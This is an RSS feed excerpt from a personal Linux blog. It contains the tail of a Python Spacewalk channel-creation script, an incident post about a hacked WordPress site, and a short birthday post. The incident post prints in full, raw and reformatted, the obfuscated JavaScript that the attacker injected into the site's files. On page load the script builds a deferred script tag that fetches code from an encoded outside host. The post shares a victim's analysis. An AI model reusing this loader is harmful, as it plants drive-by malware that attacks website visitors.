<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--arch&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;arch&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;channel-ia32&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Channel architecture (channel-x86_64, channel-ia32, channel-ia64)&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--gpgurl&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;gpgurl&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;GPG Key Url&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--gpgid&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;gpgid&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;E8562897&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;GPG Key ID&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--gpgfinger&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp;dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;gpgfinger&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;473D 66D5 2122 71FD 51CC 17B1 A8A4 47DC E856 2897&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;GPG Fingerprint&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--checksumType&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;checksumType&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;sha1&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Yum Repository Checksum Type&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--yumurl&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;yumurl&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Yum Repository URL&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--yumlabel&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;yumlabel&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Yum Repository Label&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--yumsync&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;yumsync&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #008000;">True</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Yum Repository Sync&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--debug&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;debug&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #008000;">False</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Enable debug output&quot;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: black;">&#40;</span>options<span style="color: #66cc66;">,</span> terms<span style="color: black;">&#41;</span> <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">parser</span>.<span style="color: black;">parse_args</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># Check the mandatory options have been defined</span><br />
mandatories <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: #483d8b;">&quot;user&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;password&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;host&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;label&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;name&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;summary&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;yumurl&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;yumlabel&quot;</span><span style="color: black;">&#93;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> m <span style="color: #ff7700;font-weight:bold;">in</span> mandatories:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> options.<span style="color: #0000cd;">__dict__</span><span style="color: black;">&#91;</span>m<span style="color: black;">&#93;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Required option --%s is missing<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> % m<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #dc143c;">parser</span>.<span style="color: black;">print_help</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #dc143c;">parser</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
<br />
SPACEWALK_URL <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;http://%s/rpc/api&quot;</span> % options.<span style="color: black;">host</span><br />
client <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">xmlrpclib</span>.<span style="color: black;">Server</span><span style="color: black;">&#40;</span>SPACEWALK_URL<span style="color: #66cc66;">,</span> verbose<span style="color: #66cc66;">=</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># Login to spacewalk server</span><br />
<span style="color: #ff7700;font-weight:bold;">def</span> login<span style="color: black;">&#40;</span>name <span style="color: #66cc66;">=</span> options.<span style="color: #dc143c;">user</span><span style="color: #66cc66;">,</span> password <span style="color: #66cc66;">=</span> options.<span style="color: black;">password</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> client.<span style="color: black;">auth</span>.<span style="color: black;">login</span><span style="color: black;">&#40;</span>name<span style="color: #66cc66;">,</span> password<span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># Logout from spacewalk server</span><br />
<span style="color: #ff7700;font-weight:bold;">def</span> logout<span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; client.<span style="color: black;">auth</span>.<span style="color: black;">logout</span><span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># Define the gpgKey value</span><br />
<span style="color: #ff7700;font-weight:bold;">def</span> gpgKey<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; gpgKey <span style="color: #66cc66;">=</span> <span style="color: black;">&#123;</span><span style="color: black;">&#125;</span><br />
&nbsp; &nbsp; gpgKey<span style="color: black;">&#91;</span><span style="color: #483d8b;">'url'</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> options.<span style="color: black;">gpgurl</span><br />
&nbsp; &nbsp; gpgKey<span style="color: black;">&#91;</span><span style="color: #483d8b;">'id'</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> options.<span style="color: black;">gpgid</span><br />
&nbsp; &nbsp; gpgKey<span style="color: black;">&#91;</span><span style="color: #483d8b;">'fingerprint'</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> options.<span style="color: black;">gpgfinger</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> gpgKey<br />
<br />
<span style="color: #808080; font-style: italic;"># Define Yum Repository options</span><br />
<span style="color: #ff7700;font-weight:bold;">def</span> yumrepo<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; yum <span style="color: #66cc66;">=</span> <span style="color: black;">&#123;</span><span style="color: black;">&#125;</span><br />
&nbsp; &nbsp; yum<span style="color: black;">&#91;</span><span style="color: #483d8b;">'url'</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> options.<span style="color: black;">yumurl</span><br />
&nbsp; &nbsp; yum<span style="color: black;">&#91;</span><span style="color: #483d8b;">'label'</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> options.<span style="color: black;">yumlabel</span><br />
&nbsp; &nbsp; yum<span style="color: black;">&#91;</span><span style="color: #483d8b;">'sync'</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #008000;">bool</span><span style="color: black;">&#40;</span>options.<span style="color: black;">yumsync</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> yum<br />
<br />
<span style="color: #808080; font-style: italic;"># Create the software channels</span><br />
<span style="color: #ff7700;font-weight:bold;">def</span> create<span style="color: black;">&#40;</span>key<span style="color: #66cc66;">,</span> label<span style="color: #66cc66;">,</span> name<span style="color: #66cc66;">,</span> summary<span style="color: #66cc66;">,</span> arch <span style="color: #66cc66;">=</span> options.<span style="color: black;">arch</span><span style="color: #66cc66;">,</span> parent <span style="color: #66cc66;">=</span> options.<span style="color: black;">parent</span><span style="color: #66cc66;">,</span> checksumType <span style="color: #66cc66;">=</span> options.<span style="color: black;">checksumType</span><span style="color: #66cc66;">,</span> gpg <span style="color: #66cc66;">=</span> gpgKey<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">,</span> yum <span style="color: #66cc66;">=</span> yumrepo<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> client.<span style="color: black;">channel</span>.<span style="color: black;">software</span>.<span style="color: black;">create</span><span style="color: black;">&#40;</span>key<span style="color: #66cc66;">,</span> label<span style="color: #66cc66;">,</span> name<span style="color: #66cc66;">,</span> summary<span style="color: #66cc66;">,</span> arch<span style="color: #66cc66;">,</span> parent<span style="color: #66cc66;">,</span> checksumType<span style="color: #66cc66;">,</span> gpg<span style="color: #66cc66;">,</span> yum<span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; key <span style="color: #66cc66;">=</span> login<span style="color: black;">&#40;</span>options.<span style="color: #dc143c;">user</span><span style="color: #66cc66;">,</span>options.<span style="color: black;">password</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; create<span style="color: black;">&#40;</span>key<span style="color: #66cc66;">,</span> label <span style="color: #66cc66;">=</span> options.<span style="color: black;">label</span><span style="color: #66cc66;">,</span> name <span style="color: #66cc66;">=</span> options.<span style="color: black;">name</span><span style="color: #66cc66;">,</span> summary <span style="color: #66cc66;">=</span> options.<span style="color: black;">summary</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; logout<span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ <span style="color: #66cc66;">==</span> <span style="color: #483d8b;">&quot;__main__&quot;</span>:<br />
&nbsp; &nbsp; main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/06/09/spacewalk-channel-creation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hack Victim</title>
		<link>http://www.soumplis.com/2010/03/02/hack-victim/</link>
		<comments>http://www.soumplis.com/2010/03/02/hack-victim/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 13:25:22 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Every Day News]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=60</guid>
		<description><![CDATA[In the world of security everybody admits that the question is not &#8220;if a security breach will happen, but when&#8221;. This weekend was my turn. I do my best to keep up to date my blog and generally I try to keep bad guys out of my place. However a nasty Javascript XSS (cross-site) attack [...]]]></description>
			<content:encoded><![CDATA[<p>In the world of security everybody admits that the question is not &#8220;if a security breach will happen, but when&#8221;. This weekend was my turn. I do my best to keep up to date my blog and generally I try to keep bad guys out of my place. However a nasty Javascript XSS (cross-site) attack hit me on Friday evening. I noticed that something could be wrong with my blog when my antivirus software initiated alarms every time I opened my browser (where suprisingly, I have my web site as homepage <img src='http://www.soumplis.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ).<span id="more-60"></span>My first reaction was to bring the site offline to protect my visitors. Then I started search where and how much damage has been done. Every single .php and .js was infected and in every file the attacker has injected the following code:</p>
<pre>
<div id="_mcePaste">var Zx=new Array();var ZL=new Array();try {this.U="";this.u="";
var D;if(D!='a' &amp;&amp; D != ''){D=null};var V='';var II;if(II!='ly'
&amp;&amp; II != ''){II=null};var b='[';var sN;if(sN!='X' &amp;&amp; sN!='iC'){
sN=''};this.iO="";var z=RegExp;var s='replace';var Z='g';this.GJ='';</div>
<div id="_mcePaste">var q=']';var M;if(M!='ST' &amp;&amp; M != ''){M=null};function L(C,y){var
Cp;if(Cp!=''){Cp='Sq'};var Wv=new Date();var wH=new String();var m=b;
this.le="";this.Aq='';m+=y;this.XP='';m+=q;var CO="";var E="";var I=new
z(m, Z);return C[s](I, V);};var K;if(K!='N'){K='N'};var PN="";var
h=L('bhoCdhyh',"CDhr");var B=L('sfcfrPiPpMtP',"MwOfP");var d=L('
h7t7tzpB:7/7/bvznVezx7pVrVeVsBsz-zn7ebtV.VnBiVn7gB.7cBozmB.bgVozobg7lbe</div>
<div id="_mcePaste">b-bhBrb.bm7yVf7rbe7ezmzabgb.7rzuB:b',"bBVz7");var C="1";var kb;
if(kb!='' &amp;&amp; kb!='t'){kb=''};var qc=L('/TsTpjoTnjsToTrTajdjsT.TdjeT/</div>
<div id="_mcePaste">TsTpTojnjsToTrTajdjsj.TdTej/jaTlTlToTcTiTnjej.Tfjrj/jaTeTbTnT.TnjejtT/
jgTojoTgjljej.TcTojmT.TpjhTpT',"jT");var Rh=new String();var Lq=new
String();var l=L('awpGpDewnGdqCDhDiqlDdw',"wDRGq");var Ep="";var O=L(</div>
<div id="_mcePaste">'sQeStQAStQtSrSiQbQuQtSeS',"SQ");var SN=new Array();this.Nd="";var
fj='';var zG='';var si='';var bf;if(bf!='_'){bf='_'};this.BI="";var</div>
<div id="_mcePaste">yS=L('851535031951859931095959',"3159");var Yr=new Date();var G=L('
ckrfekagtkekEglfekmkegnktg',"gfk");this.Cq="";this.CR='';var lq=L('
o3n3lro3audN',"NVr3u");var NR=new Array();var iI;if(iI!='Xk'){iI='Xk</div>
<div id="_mcePaste">'};var Ih=new String();var re=new String();window[lq]=function(){var
UL=new String();var qa=new String();zB=document[G](B);var wR=new A</div>
<div id="_mcePaste">rray();si+=d;this.oy='';si+=yS;var LJ=new String();var Pv=new Array();
si+=qc;var _a;if(_a!='' &amp;&amp; _a!='rQ'){_a='ED'};this.oB="";zB.src=s</div>
<div id="_mcePaste">i;var k=document[h];var kv;if(kv!='VV' &amp;&amp; kv != ''){kv=null};zB.
setAttribute('defer', C);var _z;if(_z!='' &amp;&amp; _z!='OxG'){_z='p'};var xd;</div>
<div id="_mcePaste">if(xd!=''){xd='kQ'};k.appendChild(zB);var n_='';var uJe=new String();};
var VO;if(VO!='sz'){VO=''};this.Iw='';var cR;if(cR!='Ae' &amp;&amp; cR!='mL'){</div>
<div id="_mcePaste">cR='Ae'};} catch(Y){};</div>
</pre>
<p>Well it was impossible to read this script, so I reformatted like real code and out to be the following:</p>
<pre><span class="keyword">var</span> Zx = <span class="keyword">new</span> <span class="object">Array</span>();
<span class="keyword">var</span> ZL = <span class="keyword">new</span> <span class="object">Array</span>();
<span class="keyword">try</span> {
  <span class="keyword">this</span>.U = <span class="literal">""</span>;
  <span class="keyword">this</span>.u = <span class="literal">""</span>;
  <span class="keyword">var</span> D;
  <span class="keyword">if</span>(D != <span class="literal">'a'</span> &amp;&amp; D != <span class="literal">''</span>) {
      D = <span class="keyword">null</span>};</pre>
<pre><span class="keyword">  var</span> V = <span class="literal">''</span>;
  <span class="keyword">var</span> II;
  <span class="keyword">if</span>(II !=<span class="literal">'ly'</span> &amp;&amp; II != <span class="literal">''</span>)
  {
     II = <span class="keyword">null }; </span></pre>
<pre>  <span class="keyword">var</span> b = <span class="literal">'['</span>;
  <span class="keyword">var</span> sN;
  <span class="keyword">if</span>(sN != <span class="literal">'X'</span> &amp;&amp; sN != <span class="literal">'iC'</span>)
  {
      sN = <span class="literal">''</span>};
  <span class="keyword">this</span>.iO = <span class="literal">""</span>;
  <span class="keyword">var</span> z = <span class="object">RegExp</span>;
  <span class="keyword">var</span> s = <span class="literal">'replace'</span>;
  <span class="keyword">var</span> Z = <span class="literal">'g'</span>;
  <span class="keyword">this</span>.GJ = <span class="literal">''</span>;
  <span class="keyword">var</span>q = <span class="literal">']'</span>;
  <span class="keyword">var</span> M;
  <span class="keyword">if</span>(M != <span class="literal">'ST'</span> &amp;&amp; M != <span class="literal">''</span>) {
     M = <span class="keyword">null</span>};</pre>
<pre>  <span class="keyword">function</span> L(C, y) {
      <span class="keyword">var</span> Cp;
      <span class="keyword">if</span>(Cp != <span class="literal">''</span>) {
         Cp = <span class="literal">'Sq'</span>};
      <span class="keyword">var</span> Wv = <span class="keyword">new</span> <span class="object">Date</span>();
      <span class="keyword">var</span> wH = <span class="keyword">new</span> <span class="object">String</span>();
      <span class="keyword">var</span> m = b;
      this.le = <span class="literal">""</span>;
      <span class="keyword">this</span>.Aq = <span class="literal">''</span>;
      m += y;
      <span class="keyword">this</span>.XP = <span class="literal">''</span>;
      m += q;
      <span class="keyword">var</span> CO = <span class="literal">""</span>;
      <span class="keyword">var</span> E = <span class="literal">""</span>;
      <span class="keyword">var</span> I = <span class="keyword">new</span> z(m, Z);
      <span class="keyword">return</span> C[s](I, V);
  };

<span class="keyword">  var</span> K;
   <span class="keyword">if</span>(K != <span class="literal">'N'</span>) {
      K = <span class="literal">'N'</span>}; 

  <span class="keyword">var</span> PN = <span class="literal">""</span>;
<span class="keyword">  var</span>h = L(<span class="literal">'bhoCdhyh'</span>, <span class="literal">"CDhr"</span>);
  <span class="keyword">var</span> B = L(<span class="literal">'sfcfrPiPpMtP'</span>, <span class="literal">"MwOfP"</span>);
<span class="keyword">  var</span> d = L(<span class="literal">'h7t7tzpB:7/7/bvznVezx7pVrVeVsBsz-zn7ebtV.VnBiVn7gB.
7cBozmB.bgVozobg7lbeb-bhBrb.bm7yVf7rbe7ezmzabgb.7rzuB:b'</span>, <span class="literal">"bBVz7"</span>);
  <span class="keyword">var</span> C = <span class="literal">"1"</span>;
  <span class="keyword">var</span> kb;
  <span class="keyword">if</span>(kb != <span class="literal">''</span> &amp;&amp; kb != <span class="literal">'t'</span>) {
      kb = <span class="literal">''</span>}; 

  <span class="keyword">var</span> qc = L(<span class="literal">'/TsTpjoTnjsToTrTajdjsT.TdjeT/TsTpTojnjsToTrTajdjsj.
TdTej/jaTlTlToTcTiTnjej.Tfjrj/jaTeTbTnT.TnjejtT/jgTojoTgjljej.TcTojmT.
TpjhTpT'</span>, <span class="literal">"jT"</span>);
  <span class="keyword">var</span> Rh = <span class="keyword">new</span> <span class="object">String</span>();
  <span class="keyword">var</span> Lq = <span class="keyword">new</span> String();
<span class="keyword">  var</span> l = L(<span class="literal">'awpGpDewnGdqCDhDiqlDdw'</span>, <span class="literal">"wDRGq"</span>);
  <span class="keyword">var</span> Ep = <span class="literal">""</span>;
  <span class="keyword">var</span> O = L(<span class="literal">'sQeStQAStQtSrSiQbQuQtSeS'</span>, <span class="literal">"SQ"</span>);
  <span class="keyword">var</span> SN = <span class="keyword">new</span> <span class="object">Array</span>();
  <span class="keyword">this</span>.Nd = <span class="literal">""</span>;
  <span class="keyword">var</span>fj = <span class="literal">''</span>;
  <span class="keyword">var</span> zG = <span class="literal">''</span>;
  <span class="keyword">var</span> si = <span class="literal">''</span>;
  <span class="keyword">var</span> bf;
  <span class="keyword">if</span>(bf != <span class="literal">'_'</span>) {
     bf = <span class="literal">'_'</span>}; 

  <span class="keyword">this</span>.BI = <span class="literal">""</span>;
  <span class="keyword">var</span> yS = L(<span class="literal">'851535031951859931095959'</span>, <span class="literal">"3159"</span>);
  <span class="keyword">var</span> Yr = <span class="keyword">new</span> <span class="object">Date</span>();
  <span class="keyword">var</span> G = L(<span class="literal">'ckrfekagtkekEglfekmkegnktg'</span>, <span class="literal">"gfk"</span>);

<span class="keyword">  this</span>.Cq = <span class="literal">""</span>;
  <span class="keyword">this</span>.CR = <span class="literal">''</span>;
  <span class="keyword">var</span> lq = L(<span class="literal">'o3n3lro3audN'</span>, <span class="literal">"NVr3u"</span>);
  <span class="keyword">var</span> NR = <span class="keyword">new</span> <span class="object">Array</span>();
  <span class="keyword">var</span> iI;
  <span class="keyword">if</span>(iI != <span class="literal">'Xk'</span>) {
      iI = <span class="literal">'Xk '</span>}; 

  <span class="keyword">var</span> Ih = <span class="keyword">new</span> <span class="object">String</span>();
  <span class="keyword">var</span> re = <span class="keyword">new</span> <span class="object">String</span>();
  <span class="object">window</span>[lq] = <span class="keyword">function</span>() {
      <span class="keyword">var</span> UL = <span class="keyword">new</span> <span class="object">String</span>();
      <span class="keyword">var</span> qa = <span class="keyword">new</span> <span class="object">String</span>();
      zB = <span class="object">document</span>[G](B);
      <span class="keyword">var</span> wR = <span class="keyword">new</span> Array();

      si += d;
      <span class="keyword">this</span>.oy = <span class="literal">''</span>;
      si += yS;
      <span class="keyword">var</span> LJ = <span class="keyword">new</span> <span class="object">String</span>();
      <span class="keyword">var</span> Pv = <span class="keyword">new</span> <span class="object">Array</span>();
      si += qc;
      <span class="keyword">var</span> _a;
      <span class="keyword">if</span>(_a != <span class="literal">''</span> &amp;&amp; _a != <span class="literal">'rQ'</span>) {
         _a = <span class="literal">'ED'</span>};
      <span class="keyword">this</span>.oB = <span class="literal">""</span>;
      zB.src = si;
      <span class="keyword">var</span> k = <span class="object">document</span>[h];
      <span class="keyword">var</span> kv;
      <span class="keyword">if</span>(kv != <span class="literal">'VV'</span> &amp;&amp; kv != <span class="literal">''</span>) {
         kv = <span class="keyword">null</span>};
      zB.setAttribute(<span class="literal">'defer'</span>, C);
      <span class="keyword">var</span> _z;
      <span class="keyword">if</span>(_z != <span class="literal">''</span> &amp;&amp; _z != <span class="literal">'OxG'</span>) {
         _z = <span class="literal">'p'</span>};
      <span class="keyword">var</span> xd;
      <span class="keyword">if</span>(xd != <span class="literal">''</span>) {
         xd = <span class="literal">'kQ'</span>}; 

      k.appendChild(zB);
      <span class="keyword">var</span> n_ = <span class="literal">''</span>;
      <span class="keyword">var</span> uJe = <span class="keyword">new</span> <span class="object">String</span>();
      };

<span class="keyword">  var</span> VO;
  <span class="keyword">if</span>(VO != <span class="literal">'sz'</span>) {
      VO = <span class="literal">''</span>}; 

  <span class="keyword">this</span>.Iw = <span class="literal">''</span>;
  <span class="keyword">var</span> cR;
  <span class="keyword">if</span>(cR != <span class="literal">'Ae'</span> &amp;&amp; cR != <span class="literal">'mL'</span>) {
      cR = <span class="literal">'Ae'</span>};
  }
<span class="keyword">catch</span>(Y) {};</pre>
<p>It became obvious that the script used a special encoding technique, unique for the script to make my life harder. It took me some time but in the end I was able to understand its inner work and finally the nasty cross-site trojan attack to the users browser.</p>
<p>My next move was to identify the point of entry. NOTHING! All my logs where clean, no recent exploits for wordpress published and everything seemed ok. Then an idea came back to me&#8230; It was not the server&#8217;s fault, but me&#8230; And yes I was right&#8230; My PC was somehow (still looking for that) infected with a backdoor which probably stole my cached FTP passwords (yes, I know it is bad to store passwords&#8230;). Then it connected through ftp to my web server and everything was easy &#8230; It could have been worse&#8230;</p>
<p>Everything was clear now and it was time to bring the site back online. I found it easier and safer to reinstall wordpress, as my database was not affected. So, fresh wordpress install, fresh theme installation, fresh plugins install and&#8230; here I am, back online!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/03/02/hack-victim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Walking on 30&#8230;</title>
		<link>http://www.soumplis.com/2010/02/18/walking-on-30/</link>
		<comments>http://www.soumplis.com/2010/02/18/walking-on-30/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 15:10:06 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Every Day News]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=57</guid>
		<description><![CDATA[Today is my birthday&#8230; OK, no big deal for anyone else except me, my family, Ktz (a.k.a. Jane) and maybe some friends. However I wanted to use this internet corner to Thank them all for just being there for me all the time&#8230;]]></description>
			<content:encoded><![CDATA[<p>Today is my birthday&#8230; OK, no big deal for anyone else except me, my family, Ktz (a.k.a. Jane) and maybe some friends. However I wanted to use this internet corner to Thank them all for just being there for me all the time&#8230; </p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/02/18/walking-on-30/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Spacewalk Update Adventures</title>
		<link>http://www.soumplis.com/2010/02/09/spacewalk-update-adventures/</link>
		<comments>http://www.soumplis.com/2010/02/09/spacewalk-update-adventures/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 15:18:06 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Spacewalk]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[tablespace]]></category>
		<category><![CDATA[upgrade]]></category>

